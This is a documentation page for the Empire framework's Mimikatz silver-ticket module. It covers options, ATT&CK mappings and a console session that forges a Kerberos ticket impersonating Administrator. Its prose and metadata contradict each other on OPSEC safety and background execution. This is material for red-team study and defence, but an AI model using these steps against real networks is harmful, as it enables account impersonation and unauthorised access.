Invoke-Mimikatz Silver Ticket - Empire Module
This page contains detailed information about how to use the powershell/credentials/mimikatz/silver_ticket Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-Mimikatz Silver Ticket
Module: powershell/credentials/mimikatz/silver_ticket
Source code [1]: empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml
Source code [2]: empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
MITRE ATT&CK:
T1098, T1003, T1081, T1207, T1075, T1097, T1145, T1101, T1178, S0002
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The silver_ticket module runs PowerSploit's Invoke-Mimikatz function to generate a silver ticket for a server/service and inject it into memory.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the silver_ticket module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the silver_ticket module:
Agent
Agent to run module on.
CredID
CredID from the store to use for ticket creation.
service
service to forge the ticket for (cifs, HOST, etc.).
Default value: cifs.
sid
The SID of the specified domain.
user
Username to impersonate.
Default value: Administrator.
Additional Module Options
This is a list of additional options that are supported by the silver_ticket module:
domain
The fully qualified domain name.
groups
Optional comma separated group IDs for the ticket.
id
id to impersonate, defaults to 500.
rc4
target machine rc4/NTLM hash.
target
The fully qualified domain name of the target machine.
Silver_ticket Example Usage
Here's an example of how to use the silver_ticket module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/credentials/mimikatz/silver_ticket
Author @JosephBialek
@gentilkiwi
Background True
Comments http://clymb3r.wordpress.com/
http://blog.gentilkiwi.com
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
Description Runs PowerSploit's Invoke-Mimikatz function to generate a silver
ticket for a server/service and inject it into memory.
Language powershell
Name powershell/credentials/mimikatz/silver_ticket
NeedsAdmin False
OpsecSafe True
Software http://attack.mitre.org/software/S0002
Techniques http://attack.mitre.org/techniques/T1098
http://attack.mitre.org/techniques/T1003
http://attack.mitre.org/techniques/T1081
http://attack.mitre.org/techniques/T1207
http://attack.mitre.org/techniques/T1075
http://attack.mitre.org/techniques/T1097
http://attack.mitre.org/techniques/T1145
http://attack.mitre.org/techniques/T1101
http://attack.mitre.org/techniques/T1178
,Record Options-----------,----------,-------------------------------------,
| Name | Value | Required | Description |
|---------|---------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|---------|---------------|----------|-------------------------------------|
| CredID | | True | CredID from the store to use for |
| | | | ticket creation. |
|---------|---------------|----------|-------------------------------------|
| domain | | False | The fully qualified domain name. |
|---------|---------------|----------|-------------------------------------|
| groups | | False | Optional comma separated group IDs |
| | | | for the ticket. |
|---------|---------------|----------|-------------------------------------|
| id | | False | id to impersonate, defaults to 500. |
|---------|---------------|----------|-------------------------------------|
| rc4 | | False | target machine rc4/NTLM hash |
|---------|---------------|----------|-------------------------------------|
| service | cifs | True | service to forge the ticket for |
| | | | (cifs, HOST, etc.) |
|---------|---------------|----------|-------------------------------------|
| sid | | True | The SID of the specified domain. |
|---------|---------------|----------|-------------------------------------|
| target | | False | The fully qualified domain name of |
| | | | the target machine. |
|---------|---------------|----------|-------------------------------------|
| user | Administrator | True | Username to impersonate. |
'---------'---------------'----------'-------------------------------------'
(Empire: usemodule/powershell/credentials/mimikatz/silver_ticket) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/credentials/mimikatz/silver_ticket) > set CredID value
[*] Set CredID to value
(Empire: usemodule/powershell/credentials/mimikatz/silver_ticket) > set service cifs
[*] Set service to cifs
(Empire: usemodule/powershell/credentials/mimikatz/silver_ticket) > set sid value
[*] Set sid to value
(Empire: usemodule/powershell/credentials/mimikatz/silver_ticket) > set user Administrator
[*] Set user to Administrator
(Empire: usemodule/powershell/credentials/mimikatz/silver_ticket) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
- http://clymb3r.wordpress.com/
- http://blog.gentilkiwi.com
- https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
- http://attack.mitre.org/software/S0002
- http://attack.mitre.org/techniques/T1098
- http://attack.mitre.org/techniques/T1003
- http://attack.mitre.org/techniques/T1081
- http://attack.mitre.org/techniques/T1207
- http://attack.mitre.org/techniques/T1075
- http://attack.mitre.org/techniques/T1097
- http://attack.mitre.org/techniques/T1145
- http://attack.mitre.org/techniques/T1101
- http://attack.mitre.org/techniques/T1178
See Also
Check also the following modules related to this module:
- powershell/credentials/mimikatz/pth
- powershell/credentials/mimikatz/cache
- powershell/credentials/mimikatz/command
- powershell/credentials/mimikatz/terminal_server
- powershell/credentials/mimikatz/extract_tickets
- powershell/credentials/mimikatz/keys
- powershell/credentials/mimikatz/sam
- powershell/credentials/mimikatz/trust_keys
- powershell/credentials/mimikatz/purge
- powershell/credentials/mimikatz/logonpasswords
- powershell/credentials/mimikatz/certs
- powershell/credentials/mimikatz/dcsync
- powershell/credentials/mimikatz/lsadump
- powershell/credentials/mimikatz/mimitokens
- powershell/credentials/mimikatz/golden_ticket
- powershell/credentials/mimikatz/dcsync_hashdump
- powershell/situational_awareness/network/get_kerberos_service_ticket
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
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